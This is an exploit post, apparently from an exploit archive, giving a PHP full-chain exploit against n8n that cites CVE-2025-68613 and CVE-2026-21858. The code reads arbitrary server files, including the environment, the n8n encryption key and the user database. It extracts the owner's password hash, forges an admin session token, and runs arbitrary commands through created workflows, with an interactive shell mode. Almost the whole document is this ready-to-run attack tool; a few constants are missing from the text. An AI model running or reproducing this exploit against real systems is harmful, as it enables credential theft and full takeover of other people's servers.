============================================================================================================================================= | # Title : n8n 2.0.0-rc.4 Full chain exploit vulnerability | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://docs.n8n.io/release-notes/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/213586/ & CVE-2025-68613, CVE-2026-21858 [+] Summary : a PHP port of a research exploit targeting n8n, chaining multiple vulnerabilities to ultimately achieve remote command execution (RCE). [+] PoC : php poc.php base_url = rtrim($base_url, '/'); $this->form_url = $this->base_url . '/' . ltrim($form_path, '/'); $this->session = $this->init_session(); $this->admin_token = null; } private function init_session() { $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Ni8mare/1.0)'); return $ch; } private function close_session() { if ($this->session) { curl_close($this->session); } } private function randstr($n = 12) { $chars = 'abcdefghijklmnopqrstuvwxyz0123456789'; $result = ''; for ($i = 0; $i < $n; $i++) { $result .= $chars[random_int(0, strlen($chars) - 1)]; } return $result; } private function randpos() { return [random_int(100, 600), random_int(100, 600)]; } private function api($method, $path, $options = []) { $url = $this->base_url . $path; $ch = curl_init($url); $headers = ['Content-Type: application/json']; if ($this->admin_token) { $headers[] = 'Cookie: n8n-auth=' . $this->admin_token; } curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($method)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_TIMEOUT, $options['timeout'] ?? 30); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); if (isset($options['json'])) { curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($options['json'])); } $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code >= 200 && $http_code < 300) { return json_decode($response, true); } return null; } private function lfi_payload($filepath) { return [ 'data' => [], 'files' => [ 'f-' . $this->randstr(6) => [ 'filepath' => $filepath, 'originalFilename' => $this->randstr(8) . '.bin', 'mimetype' => 'application/octet-stream', 'size' => random_int(10000, 100000) ] ] ]; } private function build_nodes($command) { $trigger_name = 'T-' . $this->randstr(8); $rce_name = 'R-' . $this->randstr(8); $result_var = 'v' . $this->randstr(6); $payload_value = str_replace('CMD', addslashes($command), RCE_PAYLOAD); $nodes = [ [ 'parameters' => [], 'name' => $trigger_name, 'type' => 'n8n-nodes-base.manualTrigger', 'typeVersion' => 1, 'position' => $this->randpos(), 'id' => 't-' . $this->randstr(12) ], [ 'parameters' => [ 'values' => [ 'string' => [[ 'name' => $result_var, 'value' => $payload_value ]] ] ], 'name' => $rce_name, 'type' => 'n8n-nodes-base.set', 'typeVersion' => 2, 'position' => $this->randpos(), 'id' => 'r-' . $this->randstr(12) ] ]; $connections = [ $trigger_name => [ 'main' => [[ 'node' => $rce_name, 'type' => 'main', 'index' => 0 ]] ] ]; return [$nodes, $connections, $trigger_name, $rce_name]; } public function read_file($filepath, $timeout = 30) { $payload = $this->lfi_payload($filepath); $ch = $this->session; curl_setopt($ch, CURLOPT_URL, $this->form_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload)); curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_HEADER, false); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($http_code >= 200 && $http_code < 300 && !empty($response)) { return $response; } return null; } public function get_version() { $resp = $this->api('GET', '/rest/settings', ['timeout' => 10]); if (!$resp) { return ['0.0.0', false]; } $version = $resp['data']['versionCli'] ?? '0.0.0'; $parts = explode('.', $version); $major = intval($parts[0] ?? 0); $minor = intval($parts[1] ?? 0); $vuln = $major < 1 || ($major == 1 && $minor < 121); return [$version, $vuln]; } public function get_home() { $data = $this->read_file('/proc/self/environ'); if (!$data) { return null; } $vars = explode("\x00", $data); foreach ($vars as $var) { if (strpos($var, 'HOME=') === 0) { return substr($var, 5); } } return null; } public function get_key($home) { $data = $this->read_file($home . '/.n8n/config'); if (!$data) { return null; } $config = json_decode($data, true); return $config['encryptionKey'] ?? null; } public function get_db($home) { return $this->read_file($home . '/.n8n/database.sqlite', 120); } public function extract_admin($db) { $temp_file = tempnam(sys_get_temp_dir(), 'n8n_db_'); file_put_contents($temp_file, $db); try { $pdo = new PDO("sqlite:$temp_file"); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $stmt = $pdo->query("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1"); $row = $stmt->fetch(PDO::FETCH_ASSOC); unlink($temp_file); if ($row) { return [$row['id'], $row['email'], $row['password']]; } } catch (Exception $e) { if (file_exists($temp_file)) { unlink($temp_file); } } return null; } public function forge_token($key, $uid, $email, $pw_hash) { $key_part = ''; for ($i = 0; $i < strlen($key); $i += 2) { $key_part .= $key[$i]; } $secret = hash('sha256', $key_part); $hash_input = $email . ':' . $pw_hash; $h = substr(base64_encode(hash('sha256', $hash_input, true)), 0, 10); $header = base64_encode(json_encode(['alg' => 'HS256', 'typ' => 'JWT'])); $payload = base64_encode(json_encode(['id' => $uid, 'hash' => $h])); $signature = base64_encode(hash_hmac('sha256', "$header.$payload", $secret, true)); $this->admin_token = "$header.$payload.$signature"; return $this->admin_token; } public function verify_token() { return $this->api('GET', '/rest/users', ['timeout' => 10]) !== null; } public function rce($command) { list($nodes, $connections, $trigger_name, $rce_name) = $this->build_nodes($command); $wf_name = 'wf-' . $this->randstr(16); $workflow = [ 'name' => $wf_name, 'active' => false, 'nodes' => $nodes, 'connections' => $connections, 'settings' => [] ]; $resp = $this->api('POST', '/rest/workflows', ['json' => $workflow, 'timeout' => 10]); if (!$resp) { return null; } $wf_id = $resp['data']['id'] ?? null; if (!$wf_id) { return null; } $run_data = [ 'workflowData' => [ 'id' => $wf_id, 'name' => $wf_name, 'active' => false, 'nodes' => $nodes, 'connections' => $connections, 'settings' => [] ] ]; $resp = $this->api('POST', "/rest/workflows/$wf_id/run", ['json' => $run_data, 'timeout' => 30]); if (!$resp) { $this->api('DELETE', "/rest/workflows/$wf_id", ['timeout' => 5]); return null; } $exec_id = $resp['data']['executionId'] ?? null; $result = $exec_id ? $this->get_result($exec_id) : null; $this->api('DELETE', "/rest/workflows/$wf_id", ['timeout' => 5]); return $result; } private function get_result($exec_id) { $resp = $this->api('GET', "/rest/executions/$exec_id", ['timeout' => 10]); if (!$resp) { return null; } $data = $resp['data']['data'] ?? null; if (!$data) { return null; } // Handle both cases: string JSON or already decoded array if (is_string($data)) { $parsed = json_decode($data, true); } else { $parsed = $data; } if (!is_array($parsed)) { return null; } // Search for the result in reverse order for ($i = count($parsed) - 1; $i >= 0; $i--) { if (isset($parsed[$i]) && is_string($parsed[$i])) { $item = $parsed[$i]; if (strlen($item) > 3 && !in_array($item, ['success', 'error'])) { return trim($item); } } } return null; } public function pwn() { echo "[+] HOME directory... "; $home = $this->get_home(); if (!$home) { echo "FAILED\n"; return false; } echo "OK: $home\n"; echo "[+] Encryption key... "; $key = $this->get_key($home); if (!$key) { echo "FAILED\n"; return false; } echo "OK: " . substr($key, 0, 8) . "...\n"; echo "[+] Database... "; $db = $this->get_db($home); if (!$db) { echo "FAILED\n"; return false; } echo "OK: " . strlen($db) . " bytes\n"; echo "[+] Admin user... "; $admin = $this->extract_admin($db); if (!$admin) { echo "FAILED\n"; return false; } list($uid, $email, $pw) = $admin; echo "OK: $email\n"; echo "[+] Token forge... "; $this->forge_token($key, $uid, $email, $pw); echo "OK\n"; echo "[+] Admin access... "; if (!$this->verify_token()) { echo "DENIED\n"; return false; } echo "GRANTED!\n"; echo "[+] Cookie: n8n-auth=" . $this->admin_token . "\n"; return true; } public function __destruct() { $this->close_session(); } } function run_read($exploit, $path, $output = null) { $data = $exploit->read_file($path); if (!$data) { echo "[-] File read failed\n"; return; } echo "[+] " . strlen($data) . " bytes\n"; if ($output) { file_put_contents($output, $data); echo "[+] Saved to: $output\n"; return; } echo $data . "\n"; } function run_cmd($exploit, $cmd) { echo "[+] RCE... "; $out = $exploit->rce($cmd); if (!$out) { echo "FAILED\n"; return; } echo "OK\n\n"; echo $out . "\n"; } function run_shell($exploit) { echo "[*] Interactive mode (type 'exit' to quit)\n"; while (true) { echo "\033[91mn8n\033[0m> "; $cmd = trim(fgets(STDIN)); if (empty($cmd) || $cmd === 'exit') { break; } $out = $exploit->rce($cmd); if ($out) { echo $out . "\n"; } } } function parse_args() { global $argv; if (count($argv) < 3) { echo "Usage: php " . basename($argv[0]) . " [options]\n"; echo "Options:\n"; echo " --read PATH Read arbitrary file\n"; echo " --cmd CMD Execute single command\n"; echo " --output FILE Save LFI output to file\n"; echo "\nExample:\n"; echo " php exploit.php http://localhost:5678 /form/upload --read /etc/passwd\n"; echo " php exploit.php http://localhost:5678 /form/upload --cmd id\n"; echo " php exploit.php http://localhost:5678 /form/upload\n"; exit(1); } $args = [ 'url' => $argv[1], 'form' => $argv[2], 'read' => null, 'cmd' => null, 'output' => null ]; for ($i = 3; $i < count($argv); $i++) { if ($argv[$i] === '--read' && isset($argv[$i + 1])) { $args['read'] = $argv[++$i]; } elseif ($argv[$i] === '--cmd' && isset($argv[$i + 1])) { $args['cmd'] = $argv[++$i]; } elseif ($argv[$i] === '--output' && isset($argv[$i + 1])) { $args['output'] = $argv[++$i]; } } return $args; } function main() { echo BANNER . "\n"; $args = parse_args(); $exploit = new Ni8mare($args['url'], $args['form']); list($version, $vuln) = $exploit->get_version(); echo "[*] Target: " . $args['url'] . "\n"; echo "[*] Version: $version (" . ($vuln ? "VULN" : "SAFE") . ")\n"; if ($args['read']) { run_read($exploit, $args['read'], $args['output']); return; } if (!$exploit->pwn()) { return; } if ($args['cmd']) { run_cmd($exploit, $args['cmd']); return; } run_shell($exploit); } if (php_sapi_name() === 'cli') { main(); } else { echo "This script must be run from command line\n"; } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================